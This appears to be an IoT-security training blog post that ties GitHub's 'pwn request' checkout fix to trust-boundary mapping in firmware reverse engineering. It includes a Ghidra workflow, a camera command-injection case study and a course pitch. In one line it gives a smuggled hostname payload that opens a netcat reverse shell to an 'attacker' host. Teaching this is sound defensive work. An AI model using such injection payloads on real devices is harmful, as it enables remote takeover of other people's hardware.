IoT Firmware Analysis: What GitHub's Pwn Request Patch Teaches Embedded Hunters

On June 18, 2026, GitHub shipped an update to actions/checkout designed to block a class of supply-chain attack the community has been calling the “pwn request.” The vulnerability wasn’t a memory corruption bug or a cryptographic slip. It was something far more common, and far more relevant to anyone doing serious iot firmware analysis: untrusted input crossing into a privileged context without anyone checking the receipts.
If you spend your days reversing router binaries, picking apart bootloaders, or sniffing UART on smart-home gear, the GitHub story should feel familiar. The attack pattern is the same one that produces most of the pre-auth RCEs hiding inside embedded devices. The lesson for firmware hunters isn’t “patch your CI/CD pipelines.” It’s that trust-boundary mapping — not string searches, not blind fuzzing — is the primitive that turns iot firmware analysis from a string-grep exercise into architectural bug-hunting.
The GitHub Pwn Request Attack: Privilege Escalation in Plain Sight
Here’s the short version. GitHub Actions supports a workflow trigger called pull_request_target. Unlike the standard pull_request trigger, which runs in a sandboxed context with read-only tokens, pull_request_target runs in the context of the target repository — with full secrets, full write tokens, and the ability to push to the main branch.
That trigger exists for legitimate reasons (labeling PRs from forks, posting comments on behalf of the repo). The problem is that maintainers routinely combined it with actions/checkout pointed at the PR head, which checks out the attacker’s code, then runs it with the trusted workflow’s privileges. Submit a PR. Drop a malicious build script. Watch your code execute with the repository’s secrets in scope.
The patch tightens actions/checkout’s default behavior so the common misconfigurations stop quietly handing out root. The Hacker News covered the rollout in depth, and GitHub’s own advisory walks through the mitigations.
Strip away the YAML and the CI/CD vocabulary, and you’re left with one sentence: untrusted input was permitted to run inside a privileged context because the boundary between the two was never enforced. That sentence is the entire reason firmware analysts have jobs.
Why This Matters for IoT: Trust Boundaries Are Everywhere in Firmware
An IoT device is a layered system of trust boundaries pretending to be one cohesive product. The web admin UI is one boundary. The MQTT broker is another. The OTA update channel, the UART debug header, the Bluetooth pairing handler, the cloud callback endpoint — each is a place where data crosses from “the world” into “the device.” On the other side of every boundary is something privileged: a root daemon, a kernel module, a bootloader, a setuid helper, a config rewriter.
The structural bug is identical to the GitHub one. Take a typical mid-tier router:
- The web admin posts a hostname field to
/cgi-bin/system.cgi. - The CGI binary runs as root.
- The binary passes the hostname string into a
system()call to reconfigure/etc/hosts. - The hostname field is never sanitized.
That’s pull_request_target in embedded form. Untrusted input — an HTTP POST body from an unauthenticated session — flows directly into the privileged execution context of a root process. Send ; nc attacker 4444 -e /bin/sh as the hostname and you have shell. No memory corruption, no exploit primitive, no ROP chain. Just a boundary that wasn’t enforced.
This pattern is everywhere, and it’s why iot firmware analysis as a discipline keeps producing new pre-auth RCEs years after a device ships. We covered a structurally similar issue in our breakdown of the Cisco SD-WAN firmware CVE, and the C0xmo botnet analysis shows what happens at scale when nobody’s mapping these boundaries: hundreds of thousands of devices conscripted because the same handler-vs-privilege gap was never closed by the vendor.
How to Map Trust Boundaries During Firmware Analysis (Ghidra Walkthrough)
Mapping trust boundaries is a discipline, not a tool feature. Here’s the workflow we teach for iot firmware analysis when the goal is finding architectural bugs, not just collecting CVE-shaped trinkets.
Step 1: Map the Input Surfaces
Extract the filesystem with unblob or binwalk, then enumerate everything that touches the outside world. In Ghidra, search the symbol table and string references for:
- Network entry points:
recv,recvfrom,readon socket descriptors, MQTT topic handlers, HTTP route registrations. - Local entry points: UART read loops, USB enumeration callbacks, button/GPIO handlers wired to firmware update modes.
- File-based input: config file parsers, OTA archive readers, signature verification stubs.
Each of these is a candidate boundary. Tag them in your project. You’re not looking for bugs yet — you’re drawing the map. Newcomers to iot firmware analysis often skip this step and start grepping for strcpy; the map is what makes the grep meaningful later.
Step 2: Identify the Privileged Contexts
Now look at what’s on the other side. In a Linux-based IoT device, that’s usually:
- Binaries running as
root(most embedded daemons), or withsetuidbits. - Kernel modules, especially vendor-supplied drivers that expose
/dev/nodes orioctlinterfaces. - Pre-auth services — anything that handles a request before login completes. These are gold.
- The bootloader and recovery image, which run with effectively unrestricted privilege.
For RTOS-based devices, the privilege model is different but the question is the same: which code can touch flash, which code can issue raw hardware commands, which code can rewrite the next-boot image.
Step 3: Trace the Boundary
This is where the work happens. For each input surface, follow the data flow into the privileged context. Ghidra’s Function Call Graph and Symbolic Backwards Slicing features make this tractable on a single binary; for cross-binary flows (web UI binary → root daemon via Unix socket, for example), you’ll be doing it manually with breakpoints and a serial console.
At every step on the path, ask the same three questions:
- Is the input length-checked before it lands in a fixed buffer?
- Is the input type/format validated before it’s interpreted as a command, path, or shell fragment?
- Is the input cryptographically verified before it’s allowed to modify privileged state (firmware images, config blobs, code)?
A “no” on any of these is the GitHub pwn-request flaw in your firmware. We walk through this exact iot firmware analysis methodology, on real devices, in our firmware kernel lock-in deep dive — if you want to see the trace play out on an actual binary, start there. If you’re newer to the field and want a gentler on-ramp before that, our free intro to IoT hacking sets up the toolchain and vocabulary.
Case Study: Finding the Same Flaw in a Real IoT Device
Last quarter, a student in our lab pulled apart a budget IP camera sold under three different brand names. The web UI exposed a “network test” feature: type an IP, hit “ping,” the device pings it and shows the result. Standard junk feature.
Boundary mapping took fifteen minutes:
- Input surface:
POST /api/network/pingwith a JSON body containing atargetfield. No auth required if the device was in setup mode — and setup mode persisted across reboots if the cloud pairing was never completed. - Privileged context: the handler binary,
httpd_helper, ran as root. The handler calledsystem("ping -c 3 %s")with thetargetfield interpolated directly. - Boundary check: none. No regex, no length cap, no character allowlist.
The payload was four characters of separator and a netcat command. Pre-auth root RCE on a device with no patch path, sold at three retailers, deployed in tens of thousands of small businesses. Identical pattern to the GitHub pwn request — different surface, different privilege escalation route, same architectural failure.
The student didn’t find this with a fuzzer. They found it with a map. That’s the entire pitch for treating iot firmware analysis as an architectural discipline rather than a tooling checklist.
Beyond Surface Scans: Why Deep Firmware Analysis Requires Architectural Thinking
The reason this work is undervalued is that it doesn’t look like “hacking” in the cinematic sense. There’s no exploit primitive to brag about, no novel gadget chain. Most of the time you’re staring at a function graph in Ghidra asking yourself whether the string in r0 came from a network socket or a static config blob.
But this is the work that finds the bugs that turn into the next Mirai. Memory-safety bugs are getting harder (mitigations help, even on embedded). Logic and trust-boundary bugs are getting more common, because product complexity outruns the security review budget. Every new MQTT topic, every new cloud callback, every new “smart” feature is another boundary nobody mapped. If you want a broader view of where these skills sit alongside other offensive specialties, our course catalog lays out the progression.
GitHub’s patch is interesting because it’s a vendor admitting that the default behavior of their own platform allowed exactly this kind of boundary violation, at scale, for years. The IoT industry has the same problem with none of the cleanup capacity. The devices in production today will not get a quiet, mass-deployed mitigation. Someone has to find these bugs by hand.
That someone might as well be you.
Go Deeper: The IoT Hacking Deep Dive
If reading the case study above made you want to crack open a device and trace the boundary yourself, that’s the right instinct — and it’s exactly what our IoT Hacking Deep Dive course is built around. It’s for practitioners who have done surface-level pen testing (Nmap, default creds, the easy CVEs) and are ready to work at the architectural level: extracting firmware, mapping input surfaces in Ghidra, tracing data flow into privileged contexts, and writing the proof-of-concept exploits that follow. You’ll work on real devices, not staged labs, and you’ll leave with an iot firmware analysis methodology you can apply to whatever target lands on your bench next. See the syllabus and enroll here.



